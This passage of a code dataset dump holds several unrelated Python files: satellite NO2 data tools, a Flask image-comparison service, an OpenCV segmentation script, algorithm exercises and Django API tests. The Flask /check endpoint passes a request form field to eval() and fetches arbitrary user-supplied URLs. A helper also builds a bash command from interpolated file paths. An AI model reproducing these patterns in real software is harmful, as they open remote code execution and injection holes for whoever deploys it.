GeoDataFrames using Geopandas sjoin (as GeoDataFrame, gdf2)\n sjoin_gdf = gpd.sjoin(gdf1, filter_gdf, how='inner', op='intersects')\n # 3. Do a Pandas inner join of sjoin_gdf and df1 NO2 DataFrame (sjoin_gdf is a filter GDF)\n # using indexes. Inner join filters out non-intersecting records\n gdf2 = input_df.join(sjoin_gdf, how='inner')\n print('Filtered NO2 GeoDataFrame length:', len(gdf2))\n toc = time.perf_counter()\n elapsed_time = toc-tic\n print(\"Processed NO2 DataFrame sjoin in \"+str(elapsed_time/60)+\" minutes\")\n output_gdf = gdf2\n\n return output_gdf\n\ndef get_filename_from_cd(cd):\n \"\"\"\n Purpose: Get filename from content-disposition\n \"\"\"\n if not cd:\n return None\n fname = re.findall('filename=(.+)', cd)\n if len(fname) == 0:\n return None\n return fname[0]\n\ndef download_nc_file(url, auth, savedir, logging, refresh):\n \"\"\"\n Purpose: Download NetCD4 files from URL\n \"\"\"\n user = auth['user']\n password = auth['password']\n filename = 'temp.nc'\n logfile = 'nc.log'\n try:\n refresh=refresh\n headers = {\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 \\\n (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',\n } \n tic = time.perf_counter()\n with open(savedir+'/'+filename, 'wb') as f:\n response = requests.get(url, auth=(user, password), stream=True, headers=headers)\n filename0 = get_filename_from_cd(response.headers.get('content-disposition')).replace('\"','')\n if path.exists(savedir+'/'+filename0):\n print('File '+filename0+' exists.')\n if refresh==False:\n filename0_size = getsize(savedir+'/'+filename0)\n print('Filename size:', filename0_size,' bytes')\n if filename0_size > 0:\n remove(savedir+'/'+filename)\n return filename0\n print('Downloading '+filename0+'...')\n total = response.headers.get('content-length')\n\n if total is None:\n f.write(response.content)\n else:\n downloaded = 0\n total = int(total)\n for data in response.iter_content(chunk_size=max(int(total/1000), 1024*1024)):\n downloaded += len(data)\n f.write(data)\n done = int(50*downloaded/total)\n sys.stdout.write('\\r[{}{}]'.format('█' * done, '.' * (50-done)))\n sys.stdout.flush()\n if logging==True:\n with open(logfile, 'a+') as l:\n # Move read cursor to the start of file.\n l.seek(0)\n # If file is not empty then append '\\n'\n data = l.read(100)\n if len(data) > 0 :\n l.write(\"\\n\")\n # Append text at the end of file\n l.write(filename0)\n sys.stdout.write('\\n')\n rename(savedir+'/'+filename, savedir+'/'+filename0)\n toc = time.perf_counter()\n elapsed_time = toc-tic\n print('Success: Saved '+filename0+' to '+savedir+'.')\n print('Download time, seconds: '+str(elapsed_time))\n return filename0\n except:\n print('Something went wrong.')\n \ndef batch_download_nc_files(auth, savedir, url_file, numfiles, logging, refresh):\n savedir=savedir\n url_file = url_file\n df = pd.read_csv(url_file)\n df['ncfile'] = ''\n counter=0\n numfiles = numfiles\n if numfiles > 0:\n print('Processing '+str(numfiles)+((' files...') if numfiles > 1 else ' file...'))\n else:\n print('Processing '+str(len(df))+((' files...') if len(df) > 1 else ' file...'))\n for index, row in df.iterrows():\n url = row['URL']\n filename = download_nc_file(url=url, \n auth=auth, \n savedir='NO2-NetCD4',\n logging=logging,\n refresh=refresh)\n if filename:\n print('Downloaded file no:',counter+1)\n print(row['URL'], filename)\n df.loc[index,'ncfile'] = filename\n counter += 1\n if numfiles > 0:\n if counter >= numfiles:\n return df\n delays = [7, 4, 6, 2, 10, 15, 19, 23]\n delay = np.random.choice(delays)\n print('Delaying for '+str(delay)+' seconds...')\n time.sleep(delay)\n return df\n \ndef harpconvert(input_filename, input_dir, output_dir):\n \"\"\"\n Purpose: This converts a TROPOMI NO2 NetCD4 file to a HDF5 (Level 3 Analysis).\n \n Notes: harp convert command adapted from Google Earth Engine site:\n https://developers.google.com/earth-engine/datasets/catalog/COPERNICUS_S5P_OFFL_L3_NO2\n \n Parameters:\n input_filename: NetCD4 file from Copernicus S5P Open Data Hub\n input_dir: Directory where input_filename is located\n output_dir: Directory where hdf5 file output is saved\n\n Returns:\n dictionary: NetCD4 filename, processing time in seconds, stdout, stderr\n\n \"\"\"\n tic = time.perf_counter()\n input_filename = input_filename\n output_filename = input_filename[:-3]+'.h5'\n input_path = input_dir+'/'+input_filename\n output_path = output_dir+'/'+output_filename\n cmd = \"harpconvert --format hdf5 --hdf5-compression 9 \\\n -a 'tropospheric_NO2_column_number_density_validity>50;derive(datetime_stop {time})' \\\n %s %s\" % (input_path, output_path)\n process = subprocess.Popen(['bash','-c', cmd],\n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE)\n filesize = getsize(output_path)\n fs = f'{filesize:,}'\n stdout, stderr = process.communicate()\n toc = time.perf_counter()\n elapsed_time = toc-tic\n status_dict = {}\n status_dict['input_filename'] = input_filename\n status_dict['output_filesize'] = fs\n status_dict['elapsed_time'] = elapsed_time\n status_dict['stdout'] = stdout\n status_dict['stderr'] = stderr\n return status_dict\n\ndef batch_assemble_filtered_pickles(filtered_dir):\n tic = time.perf_counter()\n filtered_dir = filtered_dir\n pickle_files = [f for f in listdir(filtered_dir) if isfile(join(filtered_dir, f))]\n\n full_df = pd.DataFrame()\n df_len = []\n for i in range(0, len(pickle_files)):\n print(pickle_files[i])\n df = pd.read_pickle('NO2-Filtered/'+pickle_files[i])\n df_len.append(len(df))\n full_df = pd.concat([df,full_df],axis=0)\n toc = time.perf_counter()\n elapsed_time = toc-tic\n print('Assembly time, minutes: '+str(elapsed_time/60))\n \n return full_df\n\ndef plot_maps(iso3, filter_gdf, filelist, colormap):\n crs = filter_gdf.crs\n gdf_sjoin_list = []\n country_gdf = filter_gdf[filter_gdf['iso3']==iso3]\n for file in filelist:\n gdf_sjoin = pd.read_pickle('./'+file).set_geometry('geometry')\n gdf_sjoin.crs = crs\n gdf_sjoin.drop(columns=['index_right'], inplace=True)\n gdf_countries_sjoin = gpd.sjoin(gdf_sjoin, country_gdf, how='inner', op='intersects')\n if len(gdf_countries_sjoin) > 0:\n gdf_sjoin_list.append(gdf_countries_sjoin)\n swaths = len(gdf_sjoin_list)\n print('Using '+str(swaths)+' swaths.')\n \n qa_vmax = []\n qa_vmin = []\n column='qa_value'\n for gdf in gdf_sjoin_list:\n qa_vmax.append(gdf[column].max())\n qa_vmin.append(gdf[column].min())\n vmax_qa = max(qa_vmax)\n vmin_qa = min(qa_vmin)\n \n no2_vmax = []\n no2_vmin = []\n column='nitrogendioxide_tropospheric_column'\n for gdf in gdf_sjoin_list:\n no2_vmax.append(gdf[column].max())\n no2_vmin.append(gdf[column].min())\n vmax_no2 = max(no2_vmax)\n vmin_no2 = min(no2_vmin)\n\n colormap=colormap\n fig, ax= plt.subplots(sharex=True, sharey=True, figsize=(8,6), constrained_layout=True)\n for gdf in gdf_sjoin_list:\n gdf.plot(cmap=plt.get_cmap(colormap), ax=ax,\n column='qa_value', vmin=vmin_qa, vmax=vmax_qa, alpha=0.9)\n country_gdf.plot(ax=ax, alpha=0.1, color='None')\n\n # add colorbar\n fig = ax.get_figure()\n #cax = fig.add_axes([0.9, 0.2, 0.03, 0.6])\n divider = make_axes_locatable(ax)\n cax = divider.append_axes(\"right\", size=\"3%\", pad=0.1)\n sm = plt.cm.ScalarMappable(cmap=colormap, norm=plt.Normalize(vmin=vmin_qa, vmax=vmax_qa))\n sm._A = []\n fig.colorbar(sm, cax=cax)\n plt.suptitle('Tropospheric NO2, QA Value')\n\n fig, ax= plt.subplots(sharex=True, sharey=True, figsize=(8,6), constrained_layout=True)\n for gdf in gdf_sjoin_list:\n gdf.plot(cmap=plt.get_cmap(colormap), ax=ax,\n column='nitrogendioxide_tropospheric_column_precision_kernel', \n vmin=vmin_no2, vmax=vmax_no2, alpha=0.9)\n country_gdf.plot(ax=ax, alpha=0.1, color='None',legend=False)\n\n # add colorbar\n fig = ax.get_figure()\n divider = make_axes_locatable(ax)\n cax = divider.append_axes(\"right\", size=\"3%\", pad=0.1)\n sm = plt.cm.ScalarMappable(cmap=colormap, norm=plt.Normalize(vmin=vmin_no2, vmax=vmax_no2))\n sm._A = []\n fig.colorbar(sm, cax=cax)\n plt.suptitle('Tropospheric NO2, Tropospheric Column, moles/m2 ('+iso3+')')\n","sub_path":"s5p_no2_tools.py","file_name":"s5p_no2_tools.py","file_ext":"py","file_size_in_byte":15245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88687598","text":"import time\r\nfrom flask import Flask, request, jsonify, render_template\r\nimport cv2\r\nimport numpy as np\r\nfrom skimage.measure import compare_ssim as ssim\r\nimport requests\r\nimport logging\r\nfrom logging.handlers import RotatingFileHandler\r\nimport os\r\nfrom collections import OrderedDict\r\nfrom quguang import unevenLightCompensate\r\nfrom illuminationChange import illum\r\nimport sys\r\nimport cupy\r\n\r\nsys.setrecursionlimit(100000)\r\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\r\n# 配置日志信息\r\n# 设置日志的记录等级\r\nlogging.basicConfig(level=logging.INFO)\r\n# 创建日志记录器,指明日志保存的路径、每个日志文件的最大大小、保存的日志文件个数上限\r\nfile_log_handler = RotatingFileHandler(\"logs/log\", maxBytes=1024 * 1024 * 100, backupCount=10)\r\n# 创建日志记录的格式 日志等级 输入日志信息的文件名 行数 日志信息\r\nformatter = logging.Formatter('%(levelname)s %(filename)s:%(lineno)d %(message)s')\r\n# 为刚创建的日志记录器设置日志记录格式\r\nfile_log_handler.setFormatter(formatter)\r\n# 为全局的日志工具对象(flask app使用的)添加日记录器\r\nlogging.getLogger().addHandler(file_log_handler)\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return 'Hello World!'\r\n\r\n\r\n@app.route('/bg')\r\ndef show_bg():\r\n return render_template(\"bg.html\")\r\n\r\n\r\n@app.route('/target')\r\ndef show_target():\r\n return render_template(\"target.html\")\r\n\r\n\r\nclass ObjectRecognition:\r\n\r\n def __init__(self, bg, target, area):\r\n '''\r\n :param bg: 背景图\r\n :param target: 目标图\r\n :param top: 指定识别区域顶部位置\r\n :param bottom: 指定识别区域底部位置\r\n :param left: 指定识别区域左边位置\r\n :param right: 指定识别区域右边位置\r\n '''\r\n self.bg = bg\r\n self.target = target\r\n self.origin_bg = bg\r\n self.origin_target = target\r\n # self.target_name = target_name\r\n self.width = self.origin_target.shape[0]\r\n self.height = self.origin_target.shape[1]\r\n self.area = area\r\n # self.is_wb = None\r\n self.is_light = 0.0\r\n if self.area is not None:\r\n self.left_x = area[\"x_min\"]\r\n self.left_y = area[\"y_min\"]\r\n self.right_x = area[\"x_max\"]\r\n self.right_y = area[\"y_max\"]\r\n\r\n def clip_area(self):\r\n # 将背景图和识别图剪切指定的识别区域\r\n if self.area is not None:\r\n self.bg = self.bg[self.left_y:self.right_y, self.left_x:self.right_x]\r\n self.target = self.target[self.left_y:self.right_y, self.left_x:self.right_x]\r\n # cv2.imwrite(\"bg.jpg\", self.bg)\r\n # cv2.imwrite(\"target.jpg\", self.target)\r\n\r\n def check_light(self):\r\n # 检查参考图和识别图的对比度和明度的差距\r\n sum_bg = cupy.sum(self.bg)\r\n sum_target = cupy.sum(self.target)\r\n result = abs(sum_target - sum_bg) / sum_bg\r\n result = round(result, 2)\r\n return result\r\n\r\n # def check_bg(self):\r\n # # 检查参考图是否是黑白图\r\n # b, g, r = cv2.split(self.bg)\r\n # if (b == g).all() and (b == r).all():\r\n # return True\r\n # else:\r\n # return False\r\n\r\n def get_contours(self):\r\n '''\r\n\r\n :param bg: 背景图\r\n :param target: 目标图\r\n :return: 多余物体的位置\r\n '''\r\n if self.is_light > 0.5:\r\n blur_size = (21, 21)\r\n print(\"背景和识别图片对比度和亮度偏大识别准确率下降\")\r\n app.logger.info(\"背景和识别图片对比度和亮度偏大识别准确率下降\")\r\n blur_size = (21, 21)\r\n blocksize = 16\r\n self.bg = illum(self.bg)\r\n self.target = illum(self.target)\r\n self.bg = unevenLightCompensate(self.bg, blocksize)\r\n self.target = unevenLightCompensate(self.target, blocksize)\r\n else:\r\n blur_size = (15, 15)\r\n bg = cv2.GaussianBlur(self.bg, blur_size, 0)\r\n target = cv2.GaussianBlur(self.target, blur_size, 0)\r\n grayA = cv2.cvtColor(bg, cv2.COLOR_BGR2GRAY)\r\n grayB = cv2.cvtColor(target, cv2.COLOR_BGR2GRAY)\r\n score, diff = ssim(grayA, grayB, full=True)\r\n diff = (diff * 255).astype('uint8')\r\n # if self.is_wb:\r\n # print(\"背景是黑白图识别准确率会下降!\")\r\n # app.logger.info(\"背景是黑白图识别准确率会下降!\")\r\n # thresh = cv2.Canny(diff, 128, 256)\r\n # else:\r\n if score < 0.99:\r\n thresh = cv2.threshold(diff, 100, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1] # ret, thresh = ...\r\n\r\n cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[1]\r\n return score, cnts\r\n else:\r\n return 0.0, None\r\n\r\n def draw_min_rect_circle(self, img, cnts): # conts = contours\r\n\r\n '''\r\n :param img: 目标图\r\n :param cnts: 多余物体的位置坐标\r\n :return: 画出多余的物体的位置矩形框和多余物体的位置\r\n '''\r\n\r\n img = np.copy(img)\r\n cnt_list = list()\r\n if self.area is not None:\r\n cv2.rectangle(img, (self.left_x, self.left_y), (self.right_x, self.right_y), (0, 255, 0), 2)\r\n for cnt in cnts:\r\n x, y, w, h = cv2.boundingRect(cnt)\r\n if self.area is not None:\r\n if self.left_x > 0:\r\n x = self.left_x + x\r\n if self.left_y > 0:\r\n y = self.left_y + y\r\n if w > 30 and h > 30 and w <= (self.right_x - self.left_x) and h <= (self.right_y - self.left_y):\r\n cnt_dict = {\"x_min\": x, \"x_max\": x + w, \"y_min\": y, \"y_max\": y + h}\r\n cnt_list.append(cnt_dict)\r\n if cnt_list:\r\n cnt_list_del = cnt_list\r\n for cnt_dict in cnt_list:\r\n for cnt_dict_check in cnt_list_del:\r\n # origin_target = cv2.cvtColor(self.origin_target, cv2.COLOR_BGR2GRAY)\r\n # origin_bg = cv2.cvtColor(self.origin_bg, cv2.COLOR_BGR2GRAY)\r\n\r\n target = self.origin_target[cnt_dict[\"y_min\"]:cnt_dict[\"y_max\"], cnt_dict[\"x_min\"]:cnt_dict[\"x_max\"]]\r\n bg = self.origin_bg[cnt_dict_check[\"y_min\"]:cnt_dict_check[\"y_max\"],cnt_dict_check[\"x_min\"]:cnt_dict_check[\"x_max\"]]\r\n target_sum = cupy.sum(target)\r\n bg_sum = cupy.sum(bg)\r\n diff = abs(target_sum - bg_sum)\r\n result = diff / bg_sum\r\n if result < 0.1:\r\n if cnt_dict in cnt_list:\r\n cnt_list.remove(cnt_dict)\r\n if cnt_list:\r\n for cnt_dict in cnt_list:\r\n cv2.rectangle(img, (cnt_dict[\"x_min\"], cnt_dict[\"y_min\"]), (cnt_dict[\"x_max\"], cnt_dict[\"y_max\"]),\r\n (0, 0, 255), 2)\r\n else:\r\n cnt_list = []\r\n return img, cnt_list\r\n\r\n def main(self):\r\n self.clip_area()\r\n self.is_light = self.check_light()\r\n # 找到多余物体的位置并画出来\r\n diff_score, cnts = self.get_contours()\r\n if cnts:\r\n draw_img, cnt_list = self.draw_min_rect_circle(self.origin_target, cnts)\r\n # cv2.imshow(\"result\", draw_img)\r\n # file_dir = os.path.join(os.path.abspath('.'), \"results\")\r\n # file_path = os.path.join(file_dir, self.target_name)\r\n # cv2.imwrite(file_path, draw_img)\r\n # cv2.waitKey(3000)\r\n if cnt_list:\r\n return diff_score, cnt_list\r\n else:\r\n return 0.0, None\r\n else:\r\n # 两个图片相同返回零\r\n return 0.0, None\r\n\r\n\r\n@app.route(\"/check\", methods=[\"POST\"])\r\ndef check_image():\r\n tic = time.time()\r\n try:\r\n # 获得背景图片和识别图片\r\n bg_url = request.form.get(\"bg_url\")\r\n print(\"背景图片:\", bg_url)\r\n target_url = request.form.get(\"image_url\")\r\n # target_name = target_url.split('/')[-1]\r\n # if not target_name.endswith('.jpg'):\r\n # target_name = target_name + '.jpg'\r\n print(\"识别图片\", target_url)\r\n except Exception as e:\r\n print(e)\r\n app.logger.error(\"e\")\r\n return jsonify({\"error\": \"bg or image_url Missing parameter\"})\r\n try:\r\n # 获得识别区域\r\n area = request.form.get(\"area\")\r\n area = eval(area)\r\n except Exception as e:\r\n print(e)\r\n try:\r\n # 背景图片转换成cv2格式\r\n res_bg = requests.get(bg_url)\r\n image_bg = res_bg.content\r\n buf_bg = np.asarray(bytearray(image_bg), dtype=np.uint8)\r\n bg = cv2.imdecode(buf_bg, cv2.IMREAD_COLOR)\r\n except Exception as e:\r\n print(e)\r\n app.logger.error(\"no bg file\")\r\n return jsonify({\"error\": \"no bg file\"})\r\n try:\r\n # 识别图片转换成cv2格式\r\n res_target = requests.get(target_url)\r\n image_bg = res_target.content\r\n buf = np.asarray(bytearray(image_bg), dtype=np.uint8)\r\n target = cv2.imdecode(buf, cv2.IMREAD_COLOR)\r\n except Exception as e:\r\n print(e)\r\n app.logger.error(\"no image file\")\r\n return jsonify({\"error\": \"no image file\"})\r\n read_image_time = time.time()\r\n print('读取图片耗时:{:.2f}'.format(read_image_time - tic))\r\n try:\r\n # 识别图片获得相似度和多余物体的位置\r\n obj_reco = ObjectRecognition(bg, target, area)\r\n diff_score, coordinate_list = obj_reco.main()\r\n print(\"相似度:\", diff_score)\r\n if coordinate_list:\r\n diff_dict = OrderedDict(\r\n [(\"diff_score\", diff_score), (\"count\", len(coordinate_list)), (\"data\", coordinate_list),\r\n (\"is_clean\", False)])\r\n print(\"坐标:\", coordinate_list)\r\n\r\n toc = time.time()\r\n print('总耗时: {:.2f}'.format(toc - tic))\r\n return jsonify(diff_dict)\r\n if diff_score == 0.0:\r\n diff_dict = OrderedDict([(\"diff_score\", diff_score), (\"count\", 0), (\"data\", None), (\"is_clean\", True)])\r\n print(\"坐标:None\")\r\n toc = time.time()\r\n print('总耗时: {:.2f}'.format(toc - tic))\r\n return jsonify(diff_dict)\r\n\r\n except Exception as e:\r\n print(e)\r\n return jsonify({\"error\": \"image or bg not image\"})\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=False, host=\"0.0.0.0\", port=5011)\r\n","sub_path":"app4.py","file_name":"app4.py","file_ext":"py","file_size_in_byte":10792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"163570998","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n# img = cv.imread('DSC_3430.jpg')\n# img = cv.imread('/home/kyaking/downloads/pic/rose/DSC_3430.jpg')\nimg = cv.imread('/home/kyaking/downloads/pic/narzissien5/IMG_6752.jpg')\n# cv.cvtColor(img , img , CV_RGBA2RGB)\n# img = cv.cvtColor(img, cv.COLOR_RGB2YCrCb)\n# gray = cv.cvtColor(img,cv.COLOR_RGB2GRAY)\nmask = np.zeros(img.shape[:2],np.uint8)\nbgdModel = np.zeros((1,65),np.float64)\nfgdModel = np.zeros((1,65),np.float64)\n\nrect = (1000,200,2000,2000)\ncv.grabCut(img,mask,rect,bgdModel,fgdModel,8,cv.GC_INIT_WITH_RECT)\n\nmask2 = np.where((mask==2)|(mask==0),0,1).astype('uint8')\nimg = img*mask2[:,:,np.newaxis]\n# plt.imshow(mask2),plt.colorbar(),plt.show()\nplt.imshow(img), plt.colorbar(),plt.show()\n# newmask = cv.imread('/home/kyaking/downloads/pic/rose/DSC_3430.jpg',0)\n\n","sub_path":"venv/seg_nar.py","file_name":"seg_nar.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"564731078","text":"import unittest\nfrom typing import List\nfrom pprint import pprint\nfrom collections import Counter, OrderedDict, defaultdict, deque\nfrom copy import copy\n\n\nclass Window:\n\n def __init__(self, S, T):\n self.S = S\n self.T = T\n self.copy_T = copy(T)\n self.window_dict = defaultdict(deque)\n self.covered = False\n self.l = -1\n self.r = -1\n\n def add(self, i):\n ch = self.S[i][1]\n if ch in self.T or ch in self.window_dict:\n\n if self.l == -1:\n self.l = i\n\n self.r = i\n self.S[i][2] = 1\n self.window_dict[ch].append(i)\n if len(self.window_dict[ch]) > self.copy_T[ch]:\n idx = self.window_dict[ch].popleft()\n self.S[idx][2] = 0\n while self.S[self.l][2] == 0:\n self.l += 1\n\n if not self.covered and ch in self.T:\n self.T[ch] -= 1\n if self.T[ch] == 0:\n del self.T[ch]\n if not self.T:\n self.covered = True\n\n return True\n\n return False\n\n def len(self):\n return self.S[self.r][0] - self.S[self.l][0] + 1\n\n def boundary(self):\n return (self.S[self.l][0], self.S[self.r][0])\n\n def __repr__(self):\n return f\"covered:{self.covered}, l: {self.l}, r:{self.r}, S: {self.S}\"\n\n\nclass Solution:\n def minWindow(self, s: str, t: str) -> str:\n T = Counter(t)\n S = [[i, ch, 0] for i, ch in enumerate(s) if ch in T]\n window = Window(S, T)\n min_l, min_l_boundary = 10e7, None\n # print(window)\n for i in range(len(S)):\n added = window.add(i)\n if added and window.covered:\n if window.len() < min_l:\n min_l = window.len()\n min_l_boundary = window.boundary()\n # print(window)\n if window.covered:\n return s[min_l_boundary[0]:min_l_boundary[1]+1]\n else:\n return \"\"\n\n\nclass TestSolution(unittest.TestCase):\n\n def test_case_1(self):\n sol = Solution()\n S = \"ADOBCODEBANC\"\n T = \"ABC\"\n expected = \"BANC\"\n self.assertEqual(sol.minWindow(S, T), expected)\n\n def test_case_2(self):\n sol = Solution()\n S = \"bba\"\n T = \"ab\"\n expected = \"ba\"\n self.assertEqual(sol.minWindow(S, T), expected)\n\n # def test_edge_case_1(self):\n # s = Solution()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Week_06/76_minimum_window_substring.py","file_name":"76_minimum_window_substring.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"159248477","text":"#!/usr/bin/env python3\n\nimport os\nSCRIPT_PATH = os.path.dirname(os.path.realpath(__file__))\nFILENAME = '{}/../input.txt'.format(SCRIPT_PATH)\n\n# Read the challenge input\nwith open(FILENAME, 'r') as input_file:\n PUZZLE_INPUT = input_file.read()\n\n# Initial position and direction\npos = (0, 0)\ndirection = 'N'\n\n# Track which positions were visited\nvisited = {}\nvisited_twice_first = None\n\n\ndef turn(facing, towards):\n # Returns the new direction after turning towards the left or right\n if towards == \"R\":\n if facing == 'N':\n return 'E'\n if facing == 'E':\n return 'S'\n if facing == 'S':\n return 'W'\n if facing == 'W':\n return 'N'\n else:\n if facing == 'N':\n return 'W'\n if facing == 'W':\n return 'S'\n if facing == 'S':\n return 'E'\n if facing == 'E':\n return 'N'\n return facing\n\n\ndef move(start, cardinal, dist):\n # Returns the new position after moving a distance from the current position in the provided direction\n if cardinal == 'N':\n return (start[0], start[1] + dist)\n if cardinal == 'E':\n return (start[0] + dist, start[1])\n if cardinal == 'S':\n return (start[0], start[1] - dist)\n if cardinal == 'W':\n return (start[0] - dist, start[1])\n return start\n\n\n# For each instruction provided in the input\nfor instruction in PUZZLE_INPUT.split(', '):\n\n # Turn towards the provided direction\n direction = turn(direction, instruction[0])\n\n # Move one space at a time so that all positions are recorded and when one is visited twice, break\n distance = int(instruction[1:])\n while distance > 0:\n pos = move(pos, direction, 1)\n distance -= 1\n if pos in visited:\n if visited_twice_first is None:\n visited_twice_first = pos\n visited[pos] = True\n\nprint('The block visited first was', (abs(visited_twice_first[0]) + abs(visited_twice_first[1])), 'blocks away!')\n","sub_path":"2016/day_01/python/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"264831074","text":"from django.test import TestCase, Client\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth import get_user_model\nimport json\n\nUser = get_user_model()\n\n\nclass RoutineTestCase(TestCase):\n\n fixtures = ['trainers.json', 'exercises.json', 'routines.json', 'exercisesets.json']\n\n def setUp(self):\n # set the passwords to be able to login\n bruce = User.objects.get(pk=1)\n bruce.set_password('wingchun')\n bruce.save()\n\n arnold = User.objects.get(pk=2)\n arnold.set_password('terminator')\n arnold.save()\n\n self.bruce = Client()\n self.bruce.login(username='bruce', password='wingchun')\n\n self.arnold = Client()\n self.arnold.login(username='arnold', password='terminator')\n\n # a non-logged in user\n self.anon = Client()\n\n def test_public_routines_success(self):\n # all users can view public routines\n bruce_resp = self.bruce.get(reverse('public-routines'))\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertTrue(bruce_data['success'])\n self.assertIn('routines', bruce_data)\n\n anon_resp = self.anon.get(reverse('public-routines'))\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertTrue(anon_data['success'])\n self.assertIn('routines', anon_data)\n\n def test_user_routines_success(self):\n bruce_resp = self.bruce.get(reverse('user-routines'))\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertTrue(bruce_data['success'])\n self.assertEqual(len(bruce_data['routines']), 1)\n\n def test_user_routines_fail(self):\n \"\"\"\n anonymous users cannot view user routines\n \"\"\"\n anon_resp = self.anon.get(reverse('user-routines'))\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertFalse(anon_data['success'])\n self.assertIn('errors', anon_data)\n\n def test_add_success(self):\n good_routine = {\n 'name': 'Pump You UP!',\n 'public': False\n }\n good_resp = self.arnold.post(\n reverse('add-routine'),\n data=json.dumps(good_routine),\n content_type='application/json'\n )\n self.assertEqual(good_resp.status_code, 200)\n self.assertEqual(\n good_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n good_data = good_resp.json()\n self.assertTrue(good_data['success'])\n self.assertIn('routine', good_data)\n\n def test_add_fail(self):\n # bad data\n bad_routine = {}\n bad_resp = self.arnold.post(\n reverse('add-routine'),\n data=json.dumps(bad_routine),\n content_type='application/json'\n )\n self.assertEqual(bad_resp.status_code, 200)\n self.assertEqual(\n bad_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bad_data = bad_resp.json()\n self.assertFalse(bad_data['success'])\n self.assertIn('errors', bad_data)\n\n # user not logged in\n anon_routine = {\n 'name': 'Routine',\n 'public': False\n }\n anon_resp = self.anon.post(\n reverse('add-routine'),\n data=json.dumps(anon_routine),\n content_type='application/json'\n )\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertFalse(anon_data['success'])\n self.assertIn('errors', anon_data)\n\n def test_delete_success(self):\n # bruce is the creator of <Routine pk=1>\n bruce_resp = self.bruce.post(reverse('delete-routine', args=[1]))\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertTrue(bruce_data['success'])\n self.assertEqual(bruce_data['routine'], 1)\n self.assertIn('routine', bruce_data)\n\n def test_delete_fail(self):\n # cannot delete if the user is not logged in\n anon_resp = self.anon.post(reverse('delete-routine', args=[1]))\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertFalse(anon_data['success'])\n\n # and if the user isn't the creator of the routine\n arnold_resp = self.arnold.post(reverse('delete-routine', args=[1]))\n self.assertEqual(arnold_resp.status_code, 200)\n self.assertEqual(\n arnold_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n arnold_data = arnold_resp.json()\n self.assertFalse(arnold_data['success'])\n\n def test_routine_success(self):\n # bruce is the creator of <Routine pk=1 public=False>, so he can see it\n bruce_resp = self.bruce.get(reverse('routine', args=[1]))\n\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n bruce_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n bruce_data = bruce_resp.json()\n self.assertTrue(bruce_data['success'])\n self.assertIn('routine', bruce_data)\n\n # <Routine pk=2> is public, so anyone can see it\n anon_resp = self.anon.get(reverse('routine', args=[2]))\n\n self.assertEqual(anon_resp.status_code, 200)\n self.assertEqual(\n anon_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n anon_data = anon_resp.json()\n self.assertTrue(anon_data['success'])\n self.assertIn('routine', anon_data)\n\n def test_routine_fail(self):\n # arnold is not the creator of <Routine pk=1 public=False>, so he cannot view it\n arnold_resp = self.arnold.get(reverse('routine', args=[1]))\n self.assertEqual(arnold_resp.status_code, 200)\n self.assertEqual(\n arnold_resp._headers.get('content-type'),\n ('Content-Type', 'application/json')\n )\n arnold_data = arnold_resp.json()\n self.assertFalse(arnold_data['success'])\n self.assertIn('errors', arnold_data)\n\n def test_update_success(self):\n # <Routine pk=1> name=\"basic\" public=False\n routine_pk = 1\n updated_routine = {\n 'name': 'complex',\n 'public': False,\n 'description': 'this routine is exceedingly complex'\n }\n bruce_resp = self.bruce.post(\n reverse('update-routine', args=[routine_pk]),\n data=json.dumps(updated_routine),\n content_type='application/json'\n )\n self.assertEqual(bruce_resp.status_code, 200)\n self.assertEqual(\n 